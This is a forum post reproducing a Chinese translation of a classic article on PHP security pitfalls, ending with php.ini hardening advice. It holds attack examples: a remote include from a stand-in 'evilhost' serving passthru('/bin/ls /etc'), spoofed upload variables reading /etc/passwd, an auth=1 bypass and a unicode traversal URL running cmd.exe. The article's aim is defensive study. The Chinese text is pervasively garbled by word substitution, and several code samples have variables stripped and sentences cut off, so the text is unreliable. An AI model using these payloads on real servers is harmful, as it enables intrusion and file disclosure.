|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
一些真正的强人总会搞出新玩意来丢给你,你不学就落后了,也印证了前人的经验,果然是学无止境啊! 之所以翻译这篇文章,是由于今朝关于CGI平安性的文章都是拿Perl作为例子,而专门引见ASP,PHP或JSP平安性的文章则很少。Shaun Clowes的这篇文章对照周全地引见了PHP的平安成绩,原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。 因为原文对照长,并且有相当一局部是引见文章的后台或PHP的基本常识,没有触及到PHP平安方面的内容,因而我没有翻译。假如你想懂得这方面的常识,请参考原文。
文章次要从全局变量,近程文件,文件上载,库文件,Session文件,数据类型和轻易失足的函数这几个方面剖析了PHP的平安性,而且对若何加强PHP的平安性提出了一些有效的建议。
好了,空话少说,咱们言归正传!
[全局变量]
PHP中的变量不需求事前声明,它们会在第一次利用时主动创立,它们的类型也不需求指定,它们会依据高低文情况主动肯定。从法式员的角度来看,这无疑是一种极为便利的处置办法。很明显,这也是疾速开辟言语的一个很有效的特色。一旦一个变量被创立了,就能够在法式中的任何中央利用。这个特色招致的了局就是法式员很少初始化变量,究竟,当它们第一次创立时,他们是空的。
很明显,基于PHP的使用法式的主函数普通都是承受用户的输出(次要是表单变量,上载文件和Cookie等),然后对输出数据停止处置,然后把了局前往到客户端阅读器。为了使PHP代码会见用户的输出尽量轻易,实践上PHP是把这些输出数据看做全局变量来处置的。
例如:
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
很明显,这会显示一个文本框和提交按钮。当用户点击提交按钮时,“test.php”会处置用户的输出,当“test.php”运转时,“$hello”会包括用户在文本框输出的数据。从这里咱们应当看出,进击者可以依照本人的志愿创立恣意的全局变量。假如进击者不是经由过程表单输出来挪用“test.php”,而是直接在阅读器地址栏输出http://server/test.php?hello=hi&setup=no,那末,不止是“$hello”被创立,“$setup”也被创立了。
译者注:这两种办法也就是咱们凡是说的“POST”和“GET”办法。
上面的用户认证代码表露了PHP的全局变量所招致的平安成绩:
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
下面的代码起首反省用户的暗码是不是为“hello”,假如婚配的话,设置“$auth”为“1”,即经由过程认证。以后假如“$suth”为“1”的话,就会显示一些主要信息。
外表看起来是准确的,并且咱们中有相当一局部人是如许做的,然而这段代码犯了想固然的毛病,它假定“$auth”在没有设置值的时分是空的,却没有想到进击者可以创立任何全局变量并赋值,经由过程相似“http://server/test.php?auth=1”的办法,咱们完整可以棍骗这段代码,使它信任咱们是已认证过的。
因而,为了进步PHP法式的平安性,咱们不克不及信任任何没有明白界说的变量。假如法式中的变量良多的话,这可是一项十分艰难的义务。
一种经常使用的回护体例就是反省数组HTTP_GET[]或POST_VARS[]中的变量,这依附于咱们的提交体例(GET或POST)。当PHP设置装备摆设为翻开“track_vars”选项的话(这是缺省值),用户提交的变量就能够在全局变量和下面提到的数组中取得。
然而值得申明的是,PHP有四个分歧的数组变量用来处置用户的输出。HTTP_GET_VARS数组用来处置GET体例提交的变量,HTTP_POST_VARS数组用于处置POST体例提交的变量,HTTP_COOKIE_VARS数组用于处置作为cookie头提交的变量,而关于HTTP_POST_FILES数组(对照新的PHP才供应),则完整是用户用来提交变量的一种可选体例。用户的一个恳求可以很轻易的把变量存在这四个数组中,因而一个平安的PHP法式应当反省这四个数组。
[近程文件]
PHP是一种具有丰厚特征的言语,供应了大批的函数,使编程者完成某个功效很轻易。然而从平安的角度来看,功效越多,要包管它的平安性就越难,近程文件就是申明这个成绩的一个很好的例子:
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>
下面的剧本试图翻开文件“$filename”,假如掉败就显示毛病信息。很分明,假如咱们可以指定“$filename”的话,就可以使用这个剧本阅读体系中的任何文件。然而,这个剧本还存在一个不太分明的特征,那就是它可以从任何其它WEB或FTP站点读取文件。实践上,PHP的大多半文件处置函数对近程文件的处置是通明的。
例如:
假如指定“$filename”为“http://target/scripts/..
%c1%1c../winnt/system32/cmd.exe?/c+dir”
则下面的代码实践上是使用主机target上的unicode破绽,履行了dir号令。
这使得撑持近程文件的include(),require(),include_once()和require_once()在高低文情况中变得更风趣。这些函数次要功效是包括指定文件的内容,而且把它们依照PHP代码注释,次要是用在库文件上。
例如:
<?php
include($libdir . "/languages.php");
?>
上例中“$libdir”通常为一个在履行代码前已设置好的途径,假如进击者可以使得“$libdir”没有被设置的话,那末他就能够改动这个途径。然而进击者其实不能做任何工作,由于他们只能在他们指定的途径中会见文件languages.php(perl中的“Poison null byte”进击对PHP没有感化)。然而因为有了对近程文件的撑持,进击者就能够做任何工作。例如,进击者可以在某台办事器上放一个文件languages.php,包括以下内容:
<?php
passthru("/bin/ls /etc");
?>
然后把“$libdir”设置为“http://<evilhost>/”,如许咱们就能够在方针主机上履行下面的进击代码,“/etc”目次的内容作为了局前往到客户的阅读器中。
需求注重的是,进击办事器(也就是evilhost)应当不克不及履行PHP代码,不然进击代码会在进击办事器,而不是方针办事器履行,假如你想懂得详细的手艺细节,请参考:http://www.securereality.com.au/sradv00006.txt
[文件上载]
PHP主动撑持基于RFC 1867的文件上载,咱们看上面的例子:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
下面的代码让用户从当地机械选择一个文件,当点击提交后,文件就会被上载到办事器。这明显是很有效的功效,然而PHP的呼应体例使这项功效变的不平安。当PHP第一次接到这类恳求,乃至在它入手下手解析被挪用的PHP代码之前,它会先承受近程用户的文件,反省文件的长度是不是超越“$MAX_FILE_SIZE variable”界说的值,假如经由过程这些测试的话,文件就会被存在当地的一个一时目次中。
因而,进击者可以发送恣意文件给运转PHP的主机,在PHP法式还没有决意是不是承受文件上载时,文件已被存在办事器上了。
这里我就不会商使用文件上载来对办事器停止DOS进击的能够性了。
让咱们思索一下处置文件上载的PHP法式,正如咱们下面说的,文件被吸收而且存在办事器上(地位是在设置装备摆设文件中指定的,通常为/tmp),扩大名通常为随机的,相似“phpxXuoXG”的模式。PHP法式需求上载文件的信息以便处置它,这可以经由过程两种体例,一种体例是在PHP 3中已利用的,另外一种是在咱们对之前的办法提出平安通知布告后引入的。
然而,咱们可以一定的说,成绩仍是存在的,大多半PHP法式仍是利用老的体例来处置上载文件。PHP设置了四个全局变量来描写上载文件,好比说下面的例子:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the
remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
然后PHP法式入手下手处置依据“$hello”指定的文件,成绩在于“$hello”纷歧定是一个PHP设置的变量,任何近程用户都可以指定它。假如咱们利用上面的体例:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
就招致了上面的PHP全局变量(固然POST体例也能够(乃至是Cookie)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
下面的表双数据正好知足了PHP法式所希冀的变量,然而这时候PHP法式不再处置上载的文件,而是处置“/etc/passwd”(凡是会招致内容表露)。这类进击可以用于表露任何敏感文件的内容。
我在后面已说了,新版本的PHP利用HTTP_POST_FILES[]来决意上载文件,同时也供应了良多函数来处理这个成绩,例若有一个函数用来判别某个文件是否是实践上载的文件。这些函数很好的处理了这个成绩,然而实践上一定有良多PHP法式依然利用旧的办法,很轻易遭到这类进击。
作为文件上载的进击办法的一个变种,咱们看一下上面的一段代码:
<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
假如进击者可以掌握“$theme”的话,很明显它可以使用“$theme”来读取近程体系上的任何文件。进击者的终究方针是在近程办事器上履行恣意指令,然而他没法利用近程文件,因而,他必需得在近程办事器上创立一个PHP文件。这乍看起来好象是不成能的,然而文件上载帮了咱们这个忙,假如进击者先在当地机械上创立一个包括PHP代码的文件,然后创立一个包括名为“theme”的文件域的表单,最初用这个表单经由过程文件上载把创立的包括PHP代码的文件提交给下面的代码,PHP就会把进击者提交的文件保留起来,并把“$theme”的值设置为进击者提交的文件,如许file_exists()函数会反省经由过程,进击者的代码也将履行。
取得履行恣意指令的才能以后,进击者明显想提拔权限或是扩展战果,而这又需求一些办事器上没有的东西集,而文件上载又一次帮了咱们这个忙。进击者可使用文件上载功效上载东西,把她们存在办事器上,然后使用他们履行指令的才能,利用chmod()改动文件的权限,然后履行。例如:进击者可以绕过防火墙或IDS上载一个当地root进击法式,然后履行,如许就取得了root权限。
[库文件]
正如咱们后面会商的那样,include()和require()次要是为了撑持代码库,由于咱们通常为把一些常常利用的函数放到一个自力的文件中,这个自力的文件就是代码库,当需求利用个中的函数时,咱们只需把这个代码库包括到以后的文件中就能够了。
最后,人们开辟和宣布PHP法式的时分,为了区分代码库和主法式代码,通常为为代码库文件设置一个“.inc”的扩大名,然而他们很快发明这是一个毛病,由于如许的文件没法被PHP注释器准确解析为PHP代码。假如咱们直接恳求办事器上的这类文件时,咱们就会失掉该文件的源代码,这是由于当把PHP作为Apache的模块利用时,PHP注释器是依据文件的扩大名来决意是不是解析为PHP代码的。扩大名是站点办理员指定的,通常为“.php”, “.php3”和“.php4”。假如主要的设置装备摆设数据被包括在没有适合的扩大名的PHP文件中,那末近程进击者很轻易失掉这些信息。
最复杂的处理办法就是给每一个文件都指定一个PHP文件的扩大名,如许可以很好的避免泄漏源代码的成绩,然而又发生了新的成绩,经由过程恳求这个文件,进击者能够使本该在高低文情况中运转的代码自力运转,这能够招致后面会商的全体进击。
上面是一个很分明的例子:
In main.php:
<?php
= "/libdir";
= "/languages";
...
include("/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
include("/");
?>
当“libdir/loadlanguage.php”被“main.php”挪用时是相当平安的,然而由于“libdir/loadlanguage”具有“.php”的扩大名,因而近程进击者可以直接恳求这个文件,而且可以恣意指定“
[Session文件]
PHP 4或更新的版本供应了对sessions的撑持,它的次要感化是在PHP法式中保留页与页之间的形态信息。例如,当一个用户上岸进入网站,他上岸了这个现实和谁上岸进入这个网站都被保留在session中,当他在网站中各处阅读时,一切的PHP代码都可以取得这些形态信息。
现实上,当一个session启动时(实践上是在设置装备摆设文件中设置为在第一次恳求时主动启动),就会生成一个随机的“session id”,假如近程阅读器老是在发送恳求时提交这个“session id”的话,session就会一向坚持。这经由过程Cookie很轻易完成,也能够经由过程在每页提交一个表单变量(包括“session id”)来完成。PHP法式可以用session注册一个特别的变量,它的值会在每一个PHP剧本停止后存在session文件中,也会在每一个PHP剧本入手下手前加载到变量中。上面是一个复杂的例子:
<?php
session_destroy(); // Kill any data currently in the session
= "shaun";
session_register("session_auth"); // Register as a session variable
?>
新版本的PHP城市主动把“
一个很分明的成绩就是确保变量切实其实来自session,例如,给定下面的代码,假如后续的剧本是上面如许的话:
<?php
if (!empty())
// Grant access to site here
?>
下面的代码假定假如“
Session数据通常为保留在文件中(地位是可设置装备摆设的,通常为“/tmp”),文件名通常为相似“sess_<session id>”的模式,这个文件包括变量称号,变量类型,变量值和一些其它的数据。在多主机体系中,由于文件是以运转Web办事器的用户身份(通常为nobody)保留的,因而歹意的站点具有者就能够经由过程创立一个session文件来取得对其它站点的会见,乃至可以反省session文件中的敏感信息。
Session机制也为进击者把本人的输出保留在近程体系的文件中供应了另外一个便利的中央,关于下面的例子来讲,进击者需求在近程体系放置一个包括PHP代码的文件,假如不克不及使用文件上载做到的话,他凡是会使用session为一个变量依照本人的志愿赋一个值,然后猜想session文件的地位,而他晓得文件名是“php<session id>”,所以只需猜想目次,而目次普通就是“/tmp”。
别的,进击者可以恣意指定“session id”(例如“hello”),然后用这个“session id”创立一个session文件(例如“/tmp/sess_hello”),然而“session id”只能是字母和数字组合。
[数据类型]
PHP具有对照松懈的数据类型,变量的类型依附于它们所处的高低文情况。例如:“()前往的了局也不会为真。
PHP中的数组是联系关系数组,也就是说,数组的索引是字符串型的。这意味着“”和“”也是分歧的。
开辟法式的时分应当细心地思索下面的成绩,例如,咱们不该该在一个中央测试某个变量是不是为“0”,而在别的的中央利用empty()来验证。
[轻易失足的函数]
咱们在剖析PHP法式中的破绽时,假如可以拿到源代码的话,那末一份轻易失足的函数列表则是咱们十分需求的。假如咱们可以近程改动这些函数的参数的话,那末咱们就极可能发明个中的破绽。上面是一份对照具体的轻易失足的函数列表:
<PHP代码履行>
require():读取指定文件的内容而且作为PHP代码注释
include():同上
eval():把给定的字符串作为PHP代码履行
preg_replace():当与“/e”开关一同利用时,交换字符串将被注释为PHP代码
<号令履行>
exec():履行指定的号令,前往履行了局的最初一行
passthru():履行指天命令,前往一切了局到客户阅读器
``:履行指天命令,前往一切了局到一个数组
system():同passthru(),然而不处置二进制数据
popen():履行指定的号令,把输出或输入毗连到PHP文件描写符
<文件泄漏>
fopen():翻开文件,并对应一个PHP文件描写符
readfile():读取文件的内容,然后输入到客户阅读器
file():把全部文件内容读到一个数组中
译者注:其实这份列表还不是很全,好比“mail()”等号令也能够履行号令,所以需求本人增补一下。
[若何加强PHP的平安性]
我在下面引见的一切进击关于缺省装置的PHP 4都可以很好的完成,然而我已反复了良多次,PHP的设置装备摆设十分天真,经由过程设置装备摆设一些PHP选项,咱们完整能够反抗个中的一些进击。上面我依照完成的难度对一些设置装备摆设停止了分类:
*低难度
**中低难度
***中高难度
****高难度
下面的分类只是团体的意见,然而我可以包管,假如你利用了PHP供应的一切选项的话,那末你的PHP将是很平安的,即便是第三方的代码也是如斯,由于个中良多功效已不克不及利用。
**** 设置“register_globals”为“off”
这个选项会制止PHP为用户输出创立全局变量,也就是说,假如用户提交表单变量“hello”,PHP不会创立“$ hello”,而只会创立“HTTP_GET/POST_VARS['hello']”。这是PHP中一个极为主要的选项,封闭这个选项,会给编程带来很大的方便。
*** 设置“safe_mode”为“on”
翻开这个选项,会增添以下限制:
1. 限制哪一个号令可以被履行
2. 限制哪一个函数可以被利用
3. 基于剧本一切权和方针文件一切权的文件会见限制
4. 制止文件上载功效
这关于ISP来讲是一个巨大的选项,同时它也能极大地改善PHP的平安性。
** 设置“open_basedir”
这个选项可以制止指定目次以外的文件操作,无效地消弭了当地文件或是近程文件被include()的进击,然而仍需求注重文件上载和session文件的进击。
** 设置“display_errors”为“off”,设置“log_errors”为“on”
这个选项制止把毛病信息显示在网页中,而是纪录到日记文件中,这可以无效的抵抗进击者对方针剧本中函数的探测。
* 设置“allow_url_fopen”为“off”
这个选项可以制止近程文件功效,死力保举!
基础这个东西,有人问学php需要任何基础不? |
|